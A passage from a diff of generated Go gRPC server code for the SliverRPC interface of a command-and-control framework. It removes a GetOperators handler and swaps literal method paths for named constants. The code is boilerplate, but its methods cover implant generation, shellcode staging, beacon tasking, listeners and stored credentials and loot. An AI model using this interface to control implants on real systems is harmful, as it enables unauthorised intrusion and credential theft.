error) // *** Client Logs *** ClientLog(SliverRPC_ClientLogServer) error - // *** Operator Commands *** - GetOperators(context.Context, *commonpb.Empty) (*clientpb.Operators, error) // *** Generic *** Kill(context.Context, *sliverpb.KillReq) (*commonpb.Empty, error) Reconfigure(context.Context, *sliverpb.ReconfigureReq) (*sliverpb.Reconfigure, error) @@ -2072,9 +2227,6 @@ func (UnimplementedSliverRPCServer) GetVersion(context.Context, *commonpb.Empty) func (UnimplementedSliverRPCServer) ClientLog(SliverRPC_ClientLogServer) error { return status.Errorf(codes.Unimplemented, "method ClientLog not implemented") } -func (UnimplementedSliverRPCServer) GetOperators(context.Context, *commonpb.Empty) (*clientpb.Operators, error) { - return nil, status.Errorf(codes.Unimplemented, "method GetOperators not implemented") -} func (UnimplementedSliverRPCServer) Kill(context.Context, *sliverpb.KillReq) (*commonpb.Empty, error) { return nil, status.Errorf(codes.Unimplemented, "method Kill not implemented") } @@ -2587,7 +2739,7 @@ func _SliverRPC_GetVersion_Handler(srv interface{}, ctx context.Context, dec fun } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/rpcpb.SliverRPC/GetVersion", + FullMethod: SliverRPC_GetVersion_FullMethodName, } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(SliverRPCServer).GetVersion(ctx, req.(*commonpb.Empty)) @@ -2621,24 +2773,6 @@ func (x *sliverRPCClientLogServer) Recv() (*clientpb.ClientLogData, error) { return m, nil } -func _SliverRPC_GetOperators_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) { - in := new(commonpb.Empty) - if err := dec(in); err != nil { - return nil, err - } - if interceptor == nil { - return srv.(SliverRPCServer).GetOperators(ctx, in) - } - info := &grpc.UnaryServerInfo{ - Server: srv, - FullMethod: "/rpcpb.SliverRPC/GetOperators", - } - handler := func(ctx context.Context, req interface{}) (interface{}, error) { - return srv.(SliverRPCServer).GetOperators(ctx, req.(*commonpb.Empty)) - } - return interceptor(ctx, in, info, handler) -} - func _SliverRPC_Kill_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) { in := new(sliverpb.KillReq) if err := dec(in); err != nil { @@ -2649,7 +2783,7 @@ func _SliverRPC_Kill_Handler(srv interface{}, ctx context.Context, dec func(inte } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/rpcpb.SliverRPC/Kill", + FullMethod: SliverRPC_Kill_FullMethodName, } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(SliverRPCServer).Kill(ctx, req.(*sliverpb.KillReq)) @@ -2667,7 +2801,7 @@ func _SliverRPC_Reconfigure_Handler(srv interface{}, ctx context.Context, dec fu } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/rpcpb.SliverRPC/Reconfigure", + FullMethod: SliverRPC_Reconfigure_FullMethodName, } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(SliverRPCServer).Reconfigure(ctx, req.(*sliverpb.ReconfigureReq)) @@ -2685,7 +2819,7 @@ func _SliverRPC_Rename_Handler(srv interface{}, ctx context.Context, dec func(in } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/rpcpb.SliverRPC/Rename", + FullMethod: SliverRPC_Rename_FullMethodName, } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(SliverRPCServer).Rename(ctx, req.(*clientpb.RenameReq)) @@ -2703,7 +2837,7 @@ func _SliverRPC_GetSessions_Handler(srv interface{}, ctx context.Context, dec fu } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/rpcpb.SliverRPC/GetSessions", + FullMethod: SliverRPC_GetSessions_FullMethodName, } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(SliverRPCServer).GetSessions(ctx, req.(*commonpb.Empty)) @@ -2721,7 +2855,7 @@ func _SliverRPC_GetBeacons_Handler(srv interface{}, ctx context.Context, dec fun } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/rpcpb.SliverRPC/GetBeacons", + FullMethod: SliverRPC_GetBeacons_FullMethodName, } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(SliverRPCServer).GetBeacons(ctx, req.(*commonpb.Empty)) @@ -2739,7 +2873,7 @@ func _SliverRPC_GetBeacon_Handler(srv interface{}, ctx context.Context, dec func } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/rpcpb.SliverRPC/GetBeacon", + FullMethod: SliverRPC_GetBeacon_FullMethodName, } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(SliverRPCServer).GetBeacon(ctx, req.(*clientpb.Beacon)) @@ -2757,7 +2891,7 @@ func _SliverRPC_RmBeacon_Handler(srv interface{}, ctx context.Context, dec func( } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/rpcpb.SliverRPC/RmBeacon", + FullMethod: SliverRPC_RmBeacon_FullMethodName, } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(SliverRPCServer).RmBeacon(ctx, req.(*clientpb.Beacon)) @@ -2775,7 +2909,7 @@ func _SliverRPC_GetBeaconTasks_Handler(srv interface{}, ctx context.Context, dec } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/rpcpb.SliverRPC/GetBeaconTasks", + FullMethod: SliverRPC_GetBeaconTasks_FullMethodName, } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(SliverRPCServer).GetBeaconTasks(ctx, req.(*clientpb.Beacon)) @@ -2793,7 +2927,7 @@ func _SliverRPC_GetBeaconTaskContent_Handler(srv interface{}, ctx context.Contex } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/rpcpb.SliverRPC/GetBeaconTaskContent", + FullMethod: SliverRPC_GetBeaconTaskContent_FullMethodName, } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(SliverRPCServer).GetBeaconTaskContent(ctx, req.(*clientpb.BeaconTask)) @@ -2811,7 +2945,7 @@ func _SliverRPC_CancelBeaconTask_Handler(srv interface{}, ctx context.Context, d } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/rpcpb.SliverRPC/CancelBeaconTask", + FullMethod: SliverRPC_CancelBeaconTask_FullMethodName, } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(SliverRPCServer).CancelBeaconTask(ctx, req.(*clientpb.BeaconTask)) @@ -2829,7 +2963,7 @@ func _SliverRPC_MonitorStart_Handler(srv interface{}, ctx context.Context, dec f } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/rpcpb.SliverRPC/MonitorStart", + FullMethod: SliverRPC_MonitorStart_FullMethodName, } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(SliverRPCServer).MonitorStart(ctx, req.(*commonpb.Empty)) @@ -2847,7 +2981,7 @@ func _SliverRPC_MonitorStop_Handler(srv interface{}, ctx context.Context, dec fu } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/rpcpb.SliverRPC/MonitorStop", + FullMethod: SliverRPC_MonitorStop_FullMethodName, } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(SliverRPCServer).MonitorStop(ctx, req.(*commonpb.Empty)) @@ -2865,7 +2999,7 @@ func _SliverRPC_GetJobs_Handler(srv interface{}, ctx context.Context, dec func(i } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/rpcpb.SliverRPC/GetJobs", + FullMethod: SliverRPC_GetJobs_FullMethodName, } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(SliverRPCServer).GetJobs(ctx, req.(*commonpb.Empty)) @@ -2883,7 +3017,7 @@ func _SliverRPC_KillJob_Handler(srv interface{}, ctx context.Context, dec func(i } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/rpcpb.SliverRPC/KillJob", + FullMethod: SliverRPC_KillJob_FullMethodName, } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(SliverRPCServer).KillJob(ctx, req.(*clientpb.KillJobReq)) @@ -2901,7 +3035,7 @@ func _SliverRPC_StartMTLSListener_Handler(srv interface{}, ctx context.Context, } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/rpcpb.SliverRPC/StartMTLSListener", + FullMethod: SliverRPC_StartMTLSListener_FullMethodName, } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(SliverRPCServer).StartMTLSListener(ctx, req.(*clientpb.MTLSListenerReq)) @@ -2919,7 +3053,7 @@ func _SliverRPC_StartWGListener_Handler(srv interface{}, ctx context.Context, de } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/rpcpb.SliverRPC/StartWGListener", + FullMethod: SliverRPC_StartWGListener_FullMethodName, } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(SliverRPCServer).StartWGListener(ctx, req.(*clientpb.WGListenerReq)) @@ -2937,7 +3071,7 @@ func _SliverRPC_StartDNSListener_Handler(srv interface{}, ctx context.Context, d } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/rpcpb.SliverRPC/StartDNSListener", + FullMethod: SliverRPC_StartDNSListener_FullMethodName, } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(SliverRPCServer).StartDNSListener(ctx, req.(*clientpb.DNSListenerReq)) @@ -2955,7 +3089,7 @@ func _SliverRPC_StartHTTPSListener_Handler(srv interface{}, ctx context.Context, } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/rpcpb.SliverRPC/StartHTTPSListener", + FullMethod: SliverRPC_StartHTTPSListener_FullMethodName, } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(SliverRPCServer).StartHTTPSListener(ctx, req.(*clientpb.HTTPListenerReq)) @@ -2973,7 +3107,7 @@ func _SliverRPC_StartHTTPListener_Handler(srv interface{}, ctx context.Context, } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/rpcpb.SliverRPC/StartHTTPListener", + FullMethod: SliverRPC_StartHTTPListener_FullMethodName, } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(SliverRPCServer).StartHTTPListener(ctx, req.(*clientpb.HTTPListenerReq)) @@ -2991,7 +3125,7 @@ func _SliverRPC_StartTCPStagerListener_Handler(srv interface{}, ctx context.Cont } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/rpcpb.SliverRPC/StartTCPStagerListener", + FullMethod: SliverRPC_StartTCPStagerListener_FullMethodName, } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(SliverRPCServer).StartTCPStagerListener(ctx, req.(*clientpb.StagerListenerReq)) @@ -3009,7 +3143,7 @@ func _SliverRPC_StartHTTPStagerListener_Handler(srv interface{}, ctx context.Con } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/rpcpb.SliverRPC/StartHTTPStagerListener", + FullMethod: SliverRPC_StartHTTPStagerListener_FullMethodName, } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(SliverRPCServer).StartHTTPStagerListener(ctx, req.(*clientpb.StagerListenerReq)) @@ -3027,7 +3161,7 @@ func _SliverRPC_LootAdd_Handler(srv interface{}, ctx context.Context, dec func(i } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/rpcpb.SliverRPC/LootAdd", + FullMethod: SliverRPC_LootAdd_FullMethodName, } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(SliverRPCServer).LootAdd(ctx, req.(*clientpb.Loot)) @@ -3045,7 +3179,7 @@ func _SliverRPC_LootRm_Handler(srv interface{}, ctx context.Context, dec func(in } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/rpcpb.SliverRPC/LootRm", + FullMethod: SliverRPC_LootRm_FullMethodName, } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(SliverRPCServer).LootRm(ctx, req.(*clientpb.Loot)) @@ -3063,7 +3197,7 @@ func _SliverRPC_LootUpdate_Handler(srv interface{}, ctx context.Context, dec fun } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/rpcpb.SliverRPC/LootUpdate", + FullMethod: SliverRPC_LootUpdate_FullMethodName, } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(SliverRPCServer).LootUpdate(ctx, req.(*clientpb.Loot)) @@ -3081,7 +3215,7 @@ func _SliverRPC_LootContent_Handler(srv interface{}, ctx context.Context, dec fu } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/rpcpb.SliverRPC/LootContent", + FullMethod: SliverRPC_LootContent_FullMethodName, } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(SliverRPCServer).LootContent(ctx, req.(*clientpb.Loot)) @@ -3099,7 +3233,7 @@ func _SliverRPC_LootAll_Handler(srv interface{}, ctx context.Context, dec func(i } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/rpcpb.SliverRPC/LootAll", + FullMethod: SliverRPC_LootAll_FullMethodName, } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(SliverRPCServer).LootAll(ctx, req.(*commonpb.Empty)) @@ -3117,7 +3251,7 @@ func _SliverRPC_Creds_Handler(srv interface{}, ctx context.Context, dec func(int } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/rpcpb.SliverRPC/Creds", + FullMethod: SliverRPC_Creds_FullMethodName, } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(SliverRPCServer).Creds(ctx, req.(*commonpb.Empty)) @@ -3135,7 +3269,7 @@ func _SliverRPC_CredsAdd_Handler(srv interface{}, ctx context.Context, dec func( } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/rpcpb.SliverRPC/CredsAdd", + FullMethod: SliverRPC_CredsAdd_FullMethodName, } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(SliverRPCServer).CredsAdd(ctx, req.(*clientpb.Credentials)) @@ -3153,7 +3287,7 @@ func _SliverRPC_CredsRm_Handler(srv interface{}, ctx context.Context, dec func(i } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/rpcpb.SliverRPC/CredsRm", + FullMethod: SliverRPC_CredsRm_FullMethodName, } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(SliverRPCServer).CredsRm(ctx, req.(*clientpb.Credentials)) @@ -3171,7 +3305,7 @@ func _SliverRPC_CredsUpdate_Handler(srv interface{}, ctx context.Context, dec fu } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/rpcpb.SliverRPC/CredsUpdate", + FullMethod: SliverRPC_CredsUpdate_FullMethodName, } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(SliverRPCServer).CredsUpdate(ctx, req.(*clientpb.Credentials)) @@ -3189,7 +3323,7 @@ func _SliverRPC_GetCredByID_Handler(srv interface{}, ctx context.Context, dec fu } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/rpcpb.SliverRPC/GetCredByID", + FullMethod: SliverRPC_GetCredByID_FullMethodName, } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(SliverRPCServer).GetCredByID(ctx, req.(*clientpb.Credential)) @@ -3207,7 +3341,7 @@ func _SliverRPC_GetCredsByHashType_Handler(srv interface{}, ctx context.Context, } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/rpcpb.SliverRPC/GetCredsByHashType", + FullMethod: SliverRPC_GetCredsByHashType_FullMethodName, } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(SliverRPCServer).GetCredsByHashType(ctx, req.(*clientpb.Credential)) @@ -3225,7 +3359,7 @@ func _SliverRPC_GetPlaintextCredsByHashType_Handler(srv interface{}, ctx context } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/rpcpb.SliverRPC/GetPlaintextCredsByHashType", + FullMethod: SliverRPC_GetPlaintextCredsByHashType_FullMethodName, } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(SliverRPCServer).GetPlaintextCredsByHashType(ctx, req.(*clientpb.Credential)) @@ -3243,7 +3377,7 @@ func _SliverRPC_CredsSniffHashType_Handler(srv interface{}, ctx context.Context, } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/rpcpb.SliverRPC/CredsSniffHashType", + FullMethod: SliverRPC_CredsSniffHashType_FullMethodName, } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(SliverRPCServer).CredsSniffHashType(ctx, req.(*clientpb.Credential)) @@ -3261,7 +3395,7 @@ func _SliverRPC_Hosts_Handler(srv interface{}, ctx context.Context, dec func(int } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/rpcpb.SliverRPC/Hosts", + FullMethod: SliverRPC_Hosts_FullMethodName, } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(SliverRPCServer).Hosts(ctx, req.(*commonpb.Empty)) @@ -3279,7 +3413,7 @@ func _SliverRPC_Host_Handler(srv interface{}, ctx context.Context, dec func(inte } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/rpcpb.SliverRPC/Host", + FullMethod: SliverRPC_Host_FullMethodName, } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(SliverRPCServer).Host(ctx, req.(*clientpb.Host)) @@ -3297,7 +3431,7 @@ func _SliverRPC_HostRm_Handler(srv interface{}, ctx context.Context, dec func(in } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/rpcpb.SliverRPC/HostRm", + FullMethod: SliverRPC_HostRm_FullMethodName, } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(SliverRPCServer).HostRm(ctx, req.(*clientpb.Host)) @@ -3315,7 +3449,7 @@ func _SliverRPC_HostIOCRm_Handler(srv interface{}, ctx context.Context, dec func } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/rpcpb.SliverRPC/HostIOCRm", + FullMethod: SliverRPC_HostIOCRm_FullMethodName, } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(SliverRPCServer).HostIOCRm(ctx, req.(*clientpb.IOC)) @@ -3333,7 +3467,7 @@ func _SliverRPC_Generate_Handler(srv interface{}, ctx context.Context, dec func( } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/rpcpb.SliverRPC/Generate", + FullMethod: SliverRPC_Generate_FullMethodName, } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(SliverRPCServer).Generate(ctx, req.(*clientpb.GenerateReq)) @@ -3351,7 +3485,7 @@ func _SliverRPC_GenerateExternal_Handler(srv interface{}, ctx context.Context, d } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/rpcpb.SliverRPC/GenerateExternal", + FullMethod: SliverRPC_GenerateExternal_FullMethodName, } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(SliverRPCServer).GenerateExternal(ctx, req.(*clientpb.ExternalGenerateReq)) @@ -3369,7 +3503,7 @@ func _SliverRPC_GenerateExternalSaveBuild_Handler(srv interface{}, ctx context.C } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/rpcpb.SliverRPC/GenerateExternalSaveBuild", + FullMethod: SliverRPC_GenerateExternalSaveBuild_FullMethodName, } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(SliverRPCServer).GenerateExternalSaveBuild(ctx, req.(*clientpb.ExternalImplantBinary)) @@ -3387,7 +3521,7 @@ func _SliverRPC_GenerateExternalGetImplantConfig_Handler(srv interface{}, ctx co } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/rpcpb.SliverRPC/GenerateExternalGetImplantConfig", + FullMethod: SliverRPC_GenerateExternalGetImplantConfig_FullMethodName, } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(SliverRPCServer).GenerateExternalGetImplantConfig(ctx, req.(*clientpb.ImplantConfig)) @@ -3426,7 +3560,7 @@ func _SliverRPC_BuilderTrigger_Handler(srv interface{}, ctx context.Context, dec } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/rpcpb.SliverRPC/BuilderTrigger", + FullMethod: SliverRPC_BuilderTrigger_FullMethodName, } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(SliverRPCServer).BuilderTrigger(ctx, req.(*clientpb.Event)) @@ -3444,7 +3578,7 @@ func _SliverRPC_Builders_Handler(srv interface{}, ctx context.Context, dec func( } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/rpcpb.SliverRPC/Builders", + FullMethod: SliverRPC_Builders_FullMethodName, } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(SliverRPCServer).Builders(ctx, req.(*commonpb.Empty)) @@ -3483,7 +3617,7 @@ func _SliverRPC_CrackstationTrigger_Handler(srv interface{}, ctx context.Context } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/rpcpb.SliverRPC/CrackstationTrigger", + FullMethod: SliverRPC_CrackstationTrigger_FullMethodName, } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(SliverRPCServer).CrackstationTrigger(ctx, req.(*clientpb.Event)) @@ -3501,7 +3635,7 @@ func _SliverRPC_CrackstationBenchmark_Handler(srv interface{}, ctx context.Conte } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/rpcpb.SliverRPC/CrackstationBenchmark", + FullMethod: SliverRPC_CrackstationBenchmark_FullMethodName, } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(SliverRPCServer).CrackstationBenchmark(ctx, req.(*clientpb.CrackBenchmark)) @@ -3519,7 +3653,7 @@ func _SliverRPC_Crackstations_Handler(srv interface{}, ctx context.Context, dec } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/rpcpb.SliverRPC/Crackstations", + FullMethod: SliverRPC_Crackstations_FullMethodName, } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(SliverRPCServer).Crackstations(ctx, req.(*commonpb.Empty)) @@ -3537,7 +3671,7 @@ func _SliverRPC_CrackTaskByID_Handler(srv interface{}, ctx context.Context, dec } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/rpcpb.SliverRPC/CrackTaskByID", + FullMethod: SliverRPC_CrackTaskByID_FullMethodName, } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(SliverRPCServer).CrackTaskByID(ctx, req.(*clientpb.CrackTask)) @@ -3555,7 +3689,7 @@ func _SliverRPC_CrackTaskUpdate_Handler(srv interface{}, ctx context.Context, de } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/rpcpb.SliverRPC/CrackTaskUpdate", + FullMethod: SliverRPC_CrackTaskUpdate_FullMethodName, } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(SliverRPCServer).CrackTaskUpdate(ctx, req.(*clientpb.CrackTask)) @@ -3573,7 +3707,7 @@ func _SliverRPC_CrackFilesList_Handler(srv interface{}, ctx context.Context, dec } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/rpcpb.SliverRPC/CrackFilesList", + FullMethod: SliverRPC_CrackFilesList_FullMethodName, } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(SliverRPCServer).CrackFilesList(ctx, req.(*clientpb.CrackFile)) @@ -3591,7 +3725,7 @@ func _SliverRPC_CrackFileCreate_Handler(srv interface{}, ctx context.Context, de } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/rpcpb.SliverRPC/CrackFileCreate", + FullMethod: SliverRPC_CrackFileCreate_FullMethodName, } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(SliverRPCServer).CrackFileCreate(ctx, req.(*clientpb.CrackFile)) @@ -3609,7 +3743,7 @@ func _SliverRPC_CrackFileChunkUpload_Handler(srv interface{}, ctx context.Contex } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/rpcpb.SliverRPC/CrackFileChunkUpload", + FullMethod: SliverRPC_CrackFileChunkUpload_FullMethodName, } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(SliverRPCServer).CrackFileChunkUpload(ctx, req.(*clientpb.CrackFileChunk)) @@ -3627,7 +3761,7 @@ func _SliverRPC_CrackFileChunkDownload_Handler(srv interface{}, ctx context.Cont } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/rpcpb.SliverRPC/CrackFileChunkDownload", + FullMethod: SliverRPC_CrackFileChunkDownload_FullMethodName, } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(SliverRPCServer).CrackFileChunkDownload(ctx, req.(*clientpb.CrackFileChunk)) @@ -3645,7 +3779,7 @@ func _SliverRPC_CrackFileComplete_Handler(srv interface{}, ctx context.Context, } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/rpcpb.SliverRPC/CrackFileComplete", + FullMethod: SliverRPC_CrackFileComplete_FullMethodName, } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(SliverRPCServer).CrackFileComplete(ctx, req.(*clientpb.CrackFile)) @@ -3663,7 +3797,7 @@ func _SliverRPC_CrackFileDelete_Handler(srv interface{}, ctx context.Context, de } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/rpcpb.SliverRPC/CrackFileDelete", + FullMethod: SliverRPC_CrackFileDelete_FullMethodName, } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(SliverRPCServer).CrackFileDelete(ctx, req.(*clientpb.CrackFile)) @@ -3681,7 +3815,7 @@ func _SliverRPC_Regenerate_Handler(srv interface{}, ctx context.Context, dec fun } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/rpcpb.SliverRPC/Regenerate", + FullMethod: SliverRPC_Regenerate_FullMethodName, } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(SliverRPCServer).Regenerate(ctx, req.(*clientpb.RegenerateReq)) @@ -3699,7 +3833,7 @@ func _SliverRPC_ImplantBuilds_Handler(srv interface{}, ctx context.Context, dec } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/rpcpb.SliverRPC/ImplantBuilds", + FullMethod: SliverRPC_ImplantBuilds_FullMethodName, } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(SliverRPCServer).ImplantBuilds(ctx, req.(*commonpb.Empty)) @@ -3717,7 +3851,7 @@ func _SliverRPC_DeleteImplantBuild_Handler(srv interface{}, ctx context.Context, } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/rpcpb.SliverRPC/DeleteImplantBuild", + FullMethod: SliverRPC_DeleteImplantBuild_FullMethodName, } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(SliverRPCServer).DeleteImplantBuild(ctx, req.(*clientpb.DeleteReq)) @@ -3735,7 +3869,7 @@ func _SliverRPC_Canaries_Handler(srv interface{}, ctx context.Context, dec func( } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/rpcpb.SliverRPC/Canaries", + FullMethod: SliverRPC_Canaries_FullMethodName, } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(SliverRPCServer).Canaries(ctx, req.(*commonpb.Empty)) @@ -3753,7 +3887,7 @@ func _SliverRPC_GenerateWGClientConfig_Handler(srv interface{}, ctx context.Cont } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/rpcpb.SliverRPC/GenerateWGClientConfig", + FullMethod: SliverRPC_GenerateWGClientConfig_FullMethodName, } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(SliverRPCServer).GenerateWGClientConfig(ctx, req.(*commonpb.Empty)) @@ -3771,7 +3905,7 @@ func _SliverRPC_GenerateUniqueIP_Handler(srv interface{}, ctx context.Context, d } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/rpcpb.SliverRPC/GenerateUniqueIP", + FullMethod: SliverRPC_GenerateUniqueIP_FullMethodName, } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(SliverRPCServer).GenerateUniqueIP(ctx, req.(*commonpb.Empty)) @@ -3789,7 +3923,7 @@ func _SliverRPC_ImplantProfiles_Handler(srv interface{}, ctx context.Context, de } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/rpcpb.SliverRPC/ImplantProfiles", + FullMethod: SliverRPC_ImplantProfiles_FullMethodName, } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(SliverRPCServer).ImplantProfiles(ctx, req.(*commonpb.Empty)) @@ -3807,7 +3941,7 @@ func _SliverRPC_DeleteImplantProfile_Handler(srv interface{}, ctx context.Contex } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/rpcpb.SliverRPC/DeleteImplantProfile", + FullMethod: SliverRPC_DeleteImplantProfile_FullMethodName, } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(SliverRPCServer).DeleteImplantProfile(ctx, req.(*clientpb.DeleteReq)) @@ -3825,7 +3959,7 @@ func _SliverRPC_SaveImplantProfile_Handler(srv interface{}, ctx context.Context, } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/rpcpb.SliverRPC/SaveImplantProfile", + FullMethod: SliverRPC_SaveImplantProfile_FullMethodName, } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(SliverRPCServer).SaveImplantProfile(ctx, req.(*clientpb.ImplantProfile)) @@ -3843,7 +3977,7 @@ func _SliverRPC_MsfStage_Handler(srv interface{}, ctx context.Context, dec func( } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/rpcpb.SliverRPC/MsfStage", + FullMethod: SliverRPC_MsfStage_FullMethodName, } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(SliverRPCServer).MsfStage(ctx, req.(*clientpb.MsfStagerReq)) @@ -3861,7 +3995,7 @@ func _SliverRPC_ShellcodeRDI_Handler(srv interface{}, ctx context.Context, dec f } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: 